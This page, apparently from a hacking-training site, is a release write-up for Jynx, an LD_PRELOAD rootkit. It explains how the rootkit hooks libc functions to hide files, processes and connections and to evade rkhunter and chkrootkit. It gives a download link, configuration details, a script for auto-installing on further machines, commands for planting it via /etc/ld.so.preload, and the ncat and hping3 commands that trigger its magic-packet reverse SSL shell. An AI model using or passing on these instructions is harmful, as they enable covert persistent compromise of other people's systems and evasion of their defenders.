|Jynx is a rootkit written in C that implements LD Preload to override several critical libc functions.|
At the time of release, jynx was not detected by chkrootkit or rkhunter. Jynx comes bundled with a magic-packet activated reverse connect SSL shell that hooks pcap in order to evade local sniffing.
LD_PRELOAD rootkits are simple if one understand how LD_PRELOAD works. Libc functions are hooked in order to obscure arbitrary code. The challenging part of this is the limited amount of information given in a function call.
For example, to decide whether or not to hide information, there is no way to get a full file path inside of readdir() without hooking opendir() and maintaining a lookup table which is not only hackish, but degrades performance of the system.
With fstat(), only a file descriptor is passed, and thus Jynx uses a magic GID to hide /etc/ld.so.preload.
|Jynx has room for improvement! Want to contribute? Visit our IRC!|
In one custom implementation of Jynx written by a student, a magic string is used as opposed to a magic GID. It is harder to hide processes from programs like `ps' or even from a user obtaining a /proc listing using a magic string; thus Jynx uses the magic GID method. It is recommended to use an existing system GID so that another group is not added to the system, and thus the file integrity of /etc/group is preserved.
Because most rootkit detection mechanisms rely on a truthful environment, it is easy to bypass detection. By hooking LD Preload, near anything is possible.
This rootkit is undetectable to rkhunter and chkrootkit and exists in userland or RING 3.
Configuration & Features
|Download at http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz|
config.h contains the configuration for the rootkit. MAGIC_DIR is the primary directory to hide from the system. When creating MAGIC_DIR, one must ensure that its group ownership matches the GID set in MAGIC_GID to ensure the proper hiding of processes and connections from the system. CONFIG_FILE defaults to /etc/ld.so.preload, however changing this is preferred when performing a "safe installation" for testing purposes.
MAGIC_SEQ and MAGIC_ACK are special options for the reverse connect SSL shell. One will need to record these for construction of the magic packet for activation of the shell.
Exercise & Installation
Exercise : Try hiding tcp connections by hooking read.
Once configured, a simple make execution will do the trick:
make all; make install INSTALL=/<MAGIC_DIR> MAGIC_GID=<MAGIC_GID>
To create a script for faster installation on future machines:
packer.sh will generate install.sh, which when bundled with the compiled binaries, will auto-install the binaries on future machines.
|Pointing /etc/ld.so.preload to a soft link or symlink that points to the ld_poison.so is easier to remove.|
To make the soft link:
ln -s /path/to/poison.so /etc/ld.so.preload
rm -vf /path/to/poison.so /etc/ld.so.preload
|Alternatively, you can simply overwrite /etc/ld.so.preload, however removal will be more difficult.|
rm -vf /etc/ld.so.preload ; mv /path/to/poison.so /etc/ld.so.preload
To activate the shell, first start a listening interface:
ncat --ssl -l -p <PORT_TO_LISTEN_ON>
Then, to initiate the connection:
hping3 <HOSTNAME> -s <PORT_TO_CONNECT_TO> -M <MAGIC_SEQ> -L <MAGIC_ACK> -c 1